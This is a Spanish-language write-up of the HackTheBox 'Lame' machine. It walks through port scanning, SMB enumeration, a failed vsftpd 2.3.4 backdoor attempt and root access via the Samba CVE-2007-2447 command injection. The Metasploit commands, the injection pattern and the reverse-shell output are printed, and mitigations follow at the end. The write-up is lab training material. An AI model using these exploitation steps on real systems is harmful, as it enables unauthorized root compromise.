HackTheBox Linux Easy
🗺️ Información de la Máquina#
| Campo | Detalle |
|---|---|
| Nombre | Lame |
| OS | Linux |
| Dificultad | Easy |
| IP | 10.129.10.27 |
| Técnicas | SMB Enumeration · CVE-2007-2447 · Command Injection |
| CVE | CVE-2007-2447 |
1. Reconocimiento#
1.1 Escaneo de Puertos#
nmap -p- --open -sS --min-rate 5000 -n -Pn 10.129.10.27PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-dsEscaneo de versiones sobre los puertos abiertos:
nmap -sC -sV -p21,22,139,445 10.129.10.27PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)Puertos abiertos:
21→ vsftpd 2.3.4 con acceso anónimo habilitado22→ OpenSSH 4.7p1 (versión antigua, sin exploits directos accesibles)139/445→ Samba 3.0.20 — versión conocida por tener vulnerabilidades críticas de RCE
💡 Dato clave: Dos versiones muy antiguas saltan a la vista:
vsftpd 2.3.4(conocida por un backdoor de 2011) ySamba 3.0.20(vulnerable a CVE-2007-2447). Ambas son candidatas, pero Samba corre como root en esta máquina — es el vector prioritario.
1.2 Enumeración SMB y FTP#
Comprobamos los recursos compartidos de Samba y sus permisos:
smbmap -H 10.129.10.27Disk Permissions Comment
print$ NO ACCESS Printer Drivers
tmp READ, WRITE oh noes!
opt NO ACCESS
IPC$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))
ADMIN$ NO ACCESS IPC Service (lame server (Samba 3.0.20-Debian))El recurso tmp tiene permisos de lectura y escritura sin autenticación. Lo inspeccionamos:
smbclient //10.129.10.27/tmp -Nsmb: \> ls
.ICE-unix DH 0 Sat Mar 28 12:54:24 2026
vmware-root DR 0 Sat Mar 28 12:54:30 2026
.X11-unix DH 0 Sat Mar 28 12:54:50 2026Solo archivos temporales del sistema, nada útil. El FTP anónimo también devuelve un directorio vacío. El vector está en la versión de Samba.
💡 Conclusiones: Samba 3.0.20 confirmado, acceso anónimo al share
tmpdisponible. Procedemos a explotar CVE-2007-2447 directamente.
2. Explotación#
2.1 Intento Fallido — vsftpd 2.3.4 Backdoor#
Antes de ir a Samba, probamos el backdoor conocido de vsftpd 2.3.4. Esta versión fue comprometida en sus repositorios oficiales en 2011 e incluía un backdoor que abre el puerto 6200/TCP al recibir un usuario terminado en :).
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 exploit(vsftpd_234_backdoor) > set RHOSTS 10.129.10.27
msf6 exploit(vsftpd_234_backdoor) > run[!] 10.129.10.27:21 - Unable to connect to backdoor on 6200/TCP.
[*] Exploit completed, but no session was created.El backdoor no responde. Aunque la versión es vulnerable, el puerto 6200 está bloqueado a nivel de red o el binario fue parcheado en esta máquina. Pasamos al plan B.
2.2 Análisis de la Vulnerabilidad — CVE-2007-2447#
Samba 3.0.20 es vulnerable a esta CVE por la opción username map script en smb.conf. Cuando está activa, Samba permite pasar el nombre de usuario a un script externo para hacer mapeos de identidad. El problema: no sanitiza la entrada antes de pasarla al shell. Si el nombre de usuario contiene metacaracteres de shell como ` o $(), Samba los ejecuta directamente en el sistema operativo.
Flujo normal: cliente envía usuario → Samba mapea con script externo → autentica
Flujo malicioso: cliente envía "/`comando`" → Samba ejecuta el comando en el SO → RCEEl proceso de Samba en esta máquina corre como root, así que cualquier comando inyectado se ejecuta con privilegios máximos sin necesidad de escalada posterior.
2.3 Ejecución#
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(usermap_script) > set RHOSTS 10.129.10.27
msf6 exploit(usermap_script) > set LHOST tun0
msf6 exploit(usermap_script) > run[*] Started reverse TCP handler on 10.10.15.237:4444
[*] Command shell session 1 opened (10.10.15.237:4444 -> 10.129.10.27:49024)id
uid=0(root) gid=0(root)✅ Shell obtenida directamente como root.
3. User Flag#
cat /home/makis/user.txt🔑 Flag de usuario obtenida.
4. Root Flag#
No hay escalada de privilegios — CVE-2007-2447 entrega root directamente por el contexto en que corre Samba.
cat /root/root.txt🏁 Flag de root obtenida.
5. Resumen y Lecciones Aprendidas#
Ruta de compromiso:
- Recon → Nmap detecta vsftpd 2.3.4 y Samba 3.0.20 con acceso anónimo.
- Enumeración SMB → Share
tmpcon permisos READ/WRITE, sin archivos útiles. - vsftpd backdoor → Intentado, fallido — puerto 6200 bloqueado a nivel de red.
- CVE-2007-2447 → Username Map Script en Samba 3.0.20 → command injection → shell directa como root.
- Flags → Sin escalada necesaria, acceso directo a ambos directorios →
user.txt+root.txt.
Lo que aprendí con esta máquina:
Identificar versiones concretas de servicios es más importante que identificar puertos. El puerto 445 abierto es genérico;
Samba 3.0.20es un CVE directamente. La diferencia entre-sVy no usarlo puede ser la diferencia entre encontrar el vector o no.Tener siempre un plan B cuando hay múltiples servicios vulnerables. El backdoor de vsftpd era el vector aparentemente más sencillo, pero estaba bloqueado. Sin la pista de Samba como alternativa, la máquina habría parecido sin solución.
CVE-2007-2447 es un ejemplo clásico de command injection por falta de sanitización. El parámetro
username map scriptacepta entrada del usuario y la pasa al shell sin escapar metacaracteres. Cualquier dato externo que llegue a un intérprete de comandos sin sanitización es un vector de inyección — regla universal.El contexto en que corre un servicio determina el impacto de su explotación. Si Samba corriera como un usuario sin privilegios, necesitaríamos escalada. Corriendo como root, el primer acceso ya es el acceso máximo. Al enumerar un servicio, siempre vale la pena identificar con qué usuario corre (
ps aux, unit files de systemd, etc.).
Mitigaciones:
| Vector | Mitigación |
|---|---|
| Samba 3.0.20 (CVE-2007-2447) | Actualizar a una versión moderna con soporte activo |
username map script activo | Deshabilitar esta opción en smb.conf si no es estrictamente necesaria |
| Samba corriendo como root | Ejecutar Samba con un usuario de servicio sin privilegios |
| FTP anónimo habilitado | Deshabilitar el acceso sin credenciales aunque el directorio esté vacío |
| Puertos 139/445 expuestos en la red | Restringir acceso a SMB a IPs de confianza mediante firewall |